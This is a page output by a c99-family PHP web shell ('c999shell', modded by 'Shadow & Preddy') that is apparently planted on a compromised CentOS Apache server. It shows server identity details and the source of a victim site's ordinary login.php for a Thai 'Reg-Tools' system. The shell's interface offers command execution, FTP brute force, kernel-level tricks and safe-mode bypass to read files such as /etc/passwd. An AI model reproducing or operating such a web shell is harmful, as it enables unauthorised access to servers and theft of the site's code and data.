!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/reg-tools/   drwxr-xr-x
Free 52.66 GB of 127.8 GB (41.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     login.php (8.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
// -- Excel export

setlocale(LC_ALL, 'en_US.UTF-8');
session_start();
session_destroy();

header("content-type: text/html; charset=UTF-8");
include("include/class.mysqldb.php");
include("include/config.inc.php");

?>

<html>

<head>
	<title>Reg-Tools</title>

	<link rel="stylesheet" href="https://coliff.github.io/bootstrap-show-password-toggle/css/show-password-toggle.css">

	<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-gH2yIJqKdNHPEq0n4Mqa/HGKIhSkIHeL5AyhkYV8i59U5AR6csBvApHHNl/vI1Bx" crossorigin="anonymous">
	<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.5.0/font/bootstrap-icons.css">

	<!-- Favicons -->
	<!--<link rel="apple-touch-icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/apple-touch-icon.png" sizes="180x180">
	<link rel="icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/favicon-32x32.png" sizes="32x32" type="image/png">
	<link rel="icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/favicon-16x16.png" sizes="16x16" type="image/png">
	<link rel="manifest" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/manifest.json">
	<link rel="mask-icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/safari-pinned-tab.svg" color="#7952b3">
	<link rel="icon" href="https://getbootstrap.com/docs/5.0/assets/img/favicons/favicon.ico">-->
	<meta name="theme-color" content="#7952b3">

	<!-- Custom styles for this template -->
	<link href="https://getbootstrap.com/docs/5.0/examples/sign-in/signin.css" rel="stylesheet">

	<link rel="preconnect" href="https://fonts.googleapis.com">
	<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
	<link href="https://fonts.googleapis.com/css2?family=Sarabun:wght@100;400&display=swap" rel="stylesheet">
	<style type="text/css">
		body {
			font-family: 'Sarabun', sans-serif;
		}

		.bd-placeholder-img {
			font-size: 1.125rem;
			text-anchor: middle;
			-webkit-user-select: none;
			-moz-user-select: none;
			user-select: none;
		}

		@media (min-width: 768px) {
			.bd-placeholder-img-lg {
				font-size: 3.5rem;
			}
		}
	</style>



</head>

<body>
	<div id="modalError" class="modal fade">
		<div class="modal-dialog">
			<div class="modal-content">
				<div class="modal-header flex-column">
					<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
					<div class="icon-box">
						<i class="bi bi-x-circle" style="color:red; font-size:70px;"></i>
					</div><br />
					<h4 class="modal-title text-center">Error</h4>
				</div>
				<div class="modal-body text-center">
					<p>ข้อมูลไม่ถูกต้อง ไม่สามารถเข้าสู่ระบบได้</p>
				</div>
				<div class="modal-footer justify-content-center">
					<button type="button" class="btn btn-secondary" data-bs-dismiss="modal">Close</button>
				</div>
			</div>
		</div>
	</div>

	<main class="form-signin">
		<form name="loginForm" id="loginForm" action="javascript:checkLogin();" class="row g-1 needs-validation" novalidate>
			<!--<img class="mb-4" src="https://getbootstrap.com/docs/5.0/assets/brand/bootstrap-logo.svg" alt="" width="72" height="57">-->
			<!--<img class="mb-4" src="https://images.unsplash.com/photo-1513542789411-b6a5d4f31634?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1374&q=80" alt="" width="72" height="57">-->
			<!--<image class="rounded mx-auto d-block" src="https://images.unsplash.com/photo-1489875347897-49f64b51c1f8?ixlib=rb-1.2.1&ixid=MnwxMjA3fDB8MHxwaG90by1wYWdlfHx8fGVufDB8fHx8&auto=format&fit=crop&w=1470&q=80" height="200"/>-->
			<div class="col-md-12 text-center">
				<h1 class="h3 mb-3 fw-normal">Reg-Tools</h1>
			</div>
			<div class="col-md-12">
				<div class="form-floating">
					<input type="text" class="form-control" name="user" id="floatingInput" placeholder="UMS Username" required />
					<label for="floatingInput">Username</label>
					<div class="invalid-feedback">
						กรุณากรอกข้อมูลให้ถูกต้อง
					</div>
				</div>
			</div>
			<div class="col-md-12">
				<!--<div class="form-floating">
					<input type="password" class="form-control" name="pass" id="floatingPassword" placeholder="Password" required />
					<label for="floatingPassword">Password</label>
					<div class="invalid-feedback">
						กรุณากรอกข้อมูลให้ถูกต้อง
					</div>
				</div>-->
				<div class="form-floating">					
						<input type="password" id="floatingPassword" name="pass" autocomplete="current-password" class="form-control" spellcheck="false" autocorrect="off" autocapitalize="off" placeholder="Password" required>
						<label for="floatingPassword">Password</label>
						<button id="toggle-password" type="button" class="d-none" aria-label="Show password as plain text. Warning: this will display your password on the screen.">
						</button>
						<div class="invalid-feedback">
							กรุณากรอกข้อมูลให้ถูกต้อง
						</div>
				</div>
			</div>

			<div class="col-md-12">
				<input type="hidden" name="action" value="login" />
				<button class="w-100 btn btn-lg btn-primary" id="btnLoginSubmit" type="submit">Log in</button>
			</div>
			<div class="col-md-12 text-center">
				<p class="mt-5 mb-3 text-muted">&copy; 2022 Jiroat Sritrai</p>
			</div>
		</form>
	</main>


	<script src="https://coliff.github.io/bootstrap-show-password-toggle/js/show-password-toggle.min.js" async></script>
	<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>

	<script src="https://cdn.jsdelivr.net/npm/@popperjs/core@2.11.5/dist/umd/popper.min.js" integrity="sha384-Xe+8cL9oJa6tN/veChSP7q+mnSPaj5Bcu9mPX5F5xIGE0DVittaqT5lorf0EI7Vk" crossorigin="anonymous"></script>
	<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.0/dist/js/bootstrap.min.js" integrity="sha384-ODmDIVzN+pFdexxHEHFBQH3/9/vQ9uori45z4JjnFsRydbmQbmL5t1tQ0culUzyK" crossorigin="anonymous"></script>

	<script>
		$(document).ready(function() {
			//$('#modalError').modal("toggle");
		})

		function checkLogin() {

			var $this = $("#btnLoginSubmit"); //submit button selector using ID
			var $caption = $this.html(); // We store the html content of the submit button
			var form = "#loginForm"; //defined the #form ID
			var formData = $(form).serializeArray(); //serialize the form into array
			//var route = $(form).attr('action'); //get the route using attribute action
			var route = "./api/checkLogin.php";

			//alert("call insert function");
			//$('#modalDel').modal().toggle();

			// Ajax config
			$.ajax({
				type: "POST", //we are using POST method to submit the data to the server side
				url: route, // get the route value
				data: formData, // our serialized array data for server side
				beforeSend: function() { //We add this before send to disable the button once we submit it so that we prevent the multiple click
					$this.attr('disabled', true).html("Processing...");
				},
				success: function(response) { //once the request successfully process to the server side it will return result here
					$this.attr('disabled', false).html($caption);

					// Reload lists of employees
					//getDataAll();
					//window.location.href='./?page=editCurriculum';
					//$('#curStrucList').DataTable().ajax.reload();

					// We will display the result using alert
					//alert(response);

					// Reset form
					//resetForm(form);

					// Close modal
					//$('#addCurStruc').modal().hide();
					//$(".modal-backdrop").remove();					
					//$(".modal-backdrop").remove();

					if (response == "Login success") {
						window.location.href = "./index.php";
					} else {
						//window.location.href = "./index3.php";
						$('#modalError').modal("toggle");
					}
				},

			});
		}

		(() => {
			'use strict'

			// Fetch all the forms we want to apply custom Bootstrap validation styles to
			const forms = document.querySelectorAll('.needs-validation')

			// Loop over them and prevent submission
			Array.from(forms).forEach(form => {
				form.addEventListener('submit', event => {
					if (!form.checkValidity()) {
						event.preventDefault()
						event.stopPropagation()
					}

					form.classList.add('was-validated')
				}, false)
			})
		})()
	</script>
</body>

</html>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd
Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 
:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0054 ]--